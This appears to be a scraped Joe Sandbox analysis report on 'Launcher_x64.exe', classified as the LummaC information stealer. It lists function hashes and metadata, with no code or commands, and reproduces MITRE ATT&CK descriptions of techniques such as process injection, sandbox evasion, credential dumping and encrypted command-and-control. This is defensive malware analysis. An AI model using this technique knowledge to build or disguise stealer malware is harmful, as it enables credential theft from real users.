Opcode ID: ac5f43f0db5aef9a5675c72fefa1e6cadbe0dd0fe8f317ff2eee4b9697af1fba
Instruction ID: 1fb1a4c484f9305fb9f96fdbf91e1355db21752664f8b4deeba2eb086205d656
Opcode Fuzzy Hash: ac5f43f0db5aef9a5675c72fefa1e6cadbe0dd0fe8f317ff2eee4b9697af1fba
Instruction Fuzzy Hash: B631F2397082109BD718EB10E89497B7393FFDA324F58853DD94653692D7789C52C60E

Function 0043B120 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 518086f443fff580128ecae19418ab4c0760f3fbc2505a8186285cfe44a9169e
Instruction ID: 57aaab498ba3d2fe3cec4b810176ed20dd6a955b6d006dcffcdd1d6ab784161d
Opcode Fuzzy Hash: 518086f443fff580128ecae19418ab4c0760f3fbc2505a8186285cfe44a9169e
Instruction Fuzzy Hash: 5911863B6443085BD7009A15EC81A77B7AAEBDE369F19562DEBC8437A0E7359C0187E0

Function 0040CCCE Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e044806ed135f880f9590de6c64b5d29c2b97da635f2ab18857af451a72d6ca
Instruction ID: c1c88eb255a944c1026b6073484b3c385cc0034301d70b777ac6f2ef2d0cc8cb
Opcode Fuzzy Hash: 6e044806ed135f880f9590de6c64b5d29c2b97da635f2ab18857af451a72d6ca
Instruction Fuzzy Hash: 6B117A90A5829155D22CE7248C52A7F76E68F9720CF18443CD0EB67643F9785646C72F

Function 004347D0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: e1d107b709e1f43bbf516cc67e74c10bdacd8b251aa7c4e5f2697d77ae5d7915
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 8C11E537A051D40EC31A9D3C84005E5BFA30AE7635F1993DAF4B89B2D2D6269D8B8369

Function 0042A940 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec52db255ac681eb8e4f15ef988e312655f3b6e592bf7844d79abf91d8870408
Instruction ID: 56dae74563cb8337ce58dfa97546701870c97bb2c05d1d529a87927567cde1da
Opcode Fuzzy Hash: ec52db255ac681eb8e4f15ef988e312655f3b6e592bf7844d79abf91d8870408
Instruction Fuzzy Hash: FE019EF5B0131187D7209E13E8C172BB6A96F81708F09083EEC0857342DB7DEC6586AB

Function 00402B90 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68bae6648a43b8bf7183a593b6c23035bbb1b4639a6195518a97e0b76609f489
Instruction ID: 5db0e137706aa5a0632a7023dd3f0d59903c1206340d7482ebc1b1635c1be975
Opcode Fuzzy Hash: 68bae6648a43b8bf7183a593b6c23035bbb1b4639a6195518a97e0b76609f489
Instruction Fuzzy Hash: 5DF04C3B7253190B9310DDB9ECC4527B3A2D3C9204F1A4139DB40D3381D4B5F805A1A8

Function 0042D37F Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5a32f734b6c1aa8d9b01235034392b5ecab33f24e44e5adb51b56c435098b2b
Instruction ID: 5c3c3765c3e8469efd3cf8a6665b7b31590a8b06c82778f44e5a98fad0b20ad6
Opcode Fuzzy Hash: b5a32f734b6c1aa8d9b01235034392b5ecab33f24e44e5adb51b56c435098b2b
Instruction Fuzzy Hash: 09F06D606082D28AE712CF29D420677FFA0AF67600F686999C4E79B382C2289881C759

Function 0043CFC0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f82463bf35f6f81a6a70b41c88b031b5ff54ece0df9a954b069454a2c0903b1d
Instruction ID: 3639d8a29d84ba5919e7626b029a28639efd1f0542b5bac8f4bc308327740377
Opcode Fuzzy Hash: f82463bf35f6f81a6a70b41c88b031b5ff54ece0df9a954b069454a2c0903b1d
Instruction Fuzzy Hash: DBF0E934A041485FEB089F75D8625FF7BB9DB4B750F14A03CE54263241D6349841C768

Function 00409FB5 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 539ba414b7b2dcea4b8a545e00631e1ae21b96038eac56eada3ddf7038b56721
Instruction ID: 30b24ba7414dd68909bbdf87bfec220448337b97d4f0e973103b6bfeea2960e8
Opcode Fuzzy Hash: 539ba414b7b2dcea4b8a545e00631e1ae21b96038eac56eada3ddf7038b56721
Instruction Fuzzy Hash: E8C0123461B2809FE308CF24A8815A7B6335BD3505E2C553DC8C117217D1319515832E

Function 00409ED1 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2610266565.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5428a3f4d637f55dd33f4135330e2b7b0f742cf5d4c0f005aa732dc7209f0901
Instruction ID: 87e81ba0c8f565f686e9a9ee58845d92d04bc3974e695c2a1a6d995e921633fd
Opcode Fuzzy Hash: 5428a3f4d637f55dd33f4135330e2b7b0f742cf5d4c0f005aa732dc7209f0901
Instruction Fuzzy Hash: 34C09239A48140DBC208CF18ECA1932E239A75BB0AF14383A9403F32A1C639D5119A0D

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Launcher_x64.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
Launcher_x64.exe

Function 00D3F19E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00D240F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00D01890 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Function 00D08730 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477
COMMON

Function 00D01730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Function 00D1CAD7 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00D050C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
COMMONLIBRARYCODE

Function 00D2AD2D Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 00D2B506 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 00D048C0 Relevance: 3.1, APIs: 2, Instructions: 72
COMMON

Function 00D24C19 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00D1277A Relevance: 3.0, APIs: 2, Instructions: 32
COMMONLIBRARYCODE

Function 00D01BA0 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Function 00D23187 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00D14CF2 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre